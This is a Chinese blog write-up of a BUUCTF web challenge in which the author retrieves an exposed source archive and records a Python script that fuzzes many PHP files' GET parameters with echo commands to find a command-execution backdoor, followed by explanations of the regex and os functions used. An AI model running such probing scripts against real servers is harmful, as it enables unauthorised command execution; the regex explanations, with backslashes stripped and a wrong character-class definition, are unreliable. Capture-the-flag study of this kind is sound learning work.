• BUUCTF | 高明的黑客


    这一题一开始我没有理解"www.tar.gz"的涵义,还以为有一个其他的网站叫这个,后来才突然顿悟他也有可能是一个目录!!!地址栏输入”/www.tar.gz“ 然后就可以得到源码

    http://63e1a96d-8153-41cc-bd10-2fe12e5ce3ef.node3.buuoj.cn/www.tar.gz
    

     解压下来发现大量的PHP文件,猜测会不会有木马可以利用,尝试搜索一下关键字发现了

     继续搜索

     但是不知道那些是可以被利用的,搜出来的结果又很多,查了一下WP才知道这道题考的是fuzzing,找了一篇爆破脚本但是菜鸡不是很理解,于是在这里记录一下:

    #!/usr/bin/env python3
    import requests
    import os
    import re
    url = 'http://localhost/src/'
    ptn = re.compile(br"$_GET['(w+)']")
    ptn1 = re.compile(br'>>> (w+) !!!')
    i = 0
    for f in list(os.scandir('/var/www/html/src'))[::-1]:
        i += 1
        print(i, end='
    ')
        with open(f.path, 'rb') as fp:
            data = fp.read()
        for get in set(ptn.findall(data)):
            get = get.decode('ascii')
            cmd = 'echo ">>> %s !!!";' % get
            r = requests.get(url + f.name, params={get: cmd})
            if ptn1.search(r.content) is not None:
                print()
                print(f.name, get)
                exit()
    

    re.compile()是什么函数:
    re.compile():compile(pattern [, flags])
    根据包含的正则表达式的字符串创建模式对象。可以实现更有效率的匹配。
    在直接使用字符串表示的正则表达式进行search,match和findall操作时,python会将字符串转换为正则表达式对象。
    而使用compile完成一次转换之后,在每次使用模式的时候就不用重复转换。
    当然,使用re.compile()函数进行转换后,re.search(pattern, string)的调用方式就转换为 pattern.search(string)的调用方式。

    br"……" :这是什么写法?
    r/R:非转义的原始字符串
    与普通字符相比,其他相对特殊的字符,其中可能包含转义字符,即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的” ”表示换行,” ”表示Tab等。
    而如果是以r开头,那么说明后面的字符,都是普通的字符了,即如果是“ ”那么表示一个反斜杠字符,一个字母n,而不是表示换行了。
    以r开头的字符,常用于正则表达式,对应着re模块。

    b:bytes
    python3.x里默认的str是(py2.x里的)unicode, bytes是(py2.x)的str, b""前缀代表的就是bytes
    python2.x里, b前缀没什么具体意义, 只是为了兼容python3.x的这种写法

    "$_GET['(w+)']" :匹配的意思
    w :匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]'
    + :匹配1-无穷
    (br'>>> (w+) !!!') #匹配 >>>(……) !!!
    (br"$_GET['(w+)']") #匹配$_GET['……']

    os.scandir() : 返回一个迭代器包含目录中所有的对象,对象包含文件属性信息

    list(os.scandir('D:phpstudy_proWWWwww.laolao.com各种demosrc'))[::-1]:

    f.path:

    data:

    ptn.findall():

    第二个for循环的意思:

    后面的request使用构造的" echo " 来检查是不是有后门  //echo 适用于Linux系统 :


    参考资料:

    脚本来源:http://blog.leanote.com/post/xp0int/%5BWeb%5D-%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2-LanceaKI

    Python文件操作-OS模块(参考):https://blog.csdn.net/hjjdehao/article/details/52606815

    python 中的 re.compile 函数:https://www.jianshu.com/p/c98eec7b020e

    正则表达式re.compile():https://blog.csdn.net/Darkman_EX/article/details/80973656

  • 相关阅读:
    Spring MVC(一)
    Spring-IOC总结
    IT
    Spring基础
    Maven
    Ajax笔记
    数据库和SQL语言
    JDBC
    拦截器
    文件上传
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11717337.html
Copyright © 2020-2023  润新知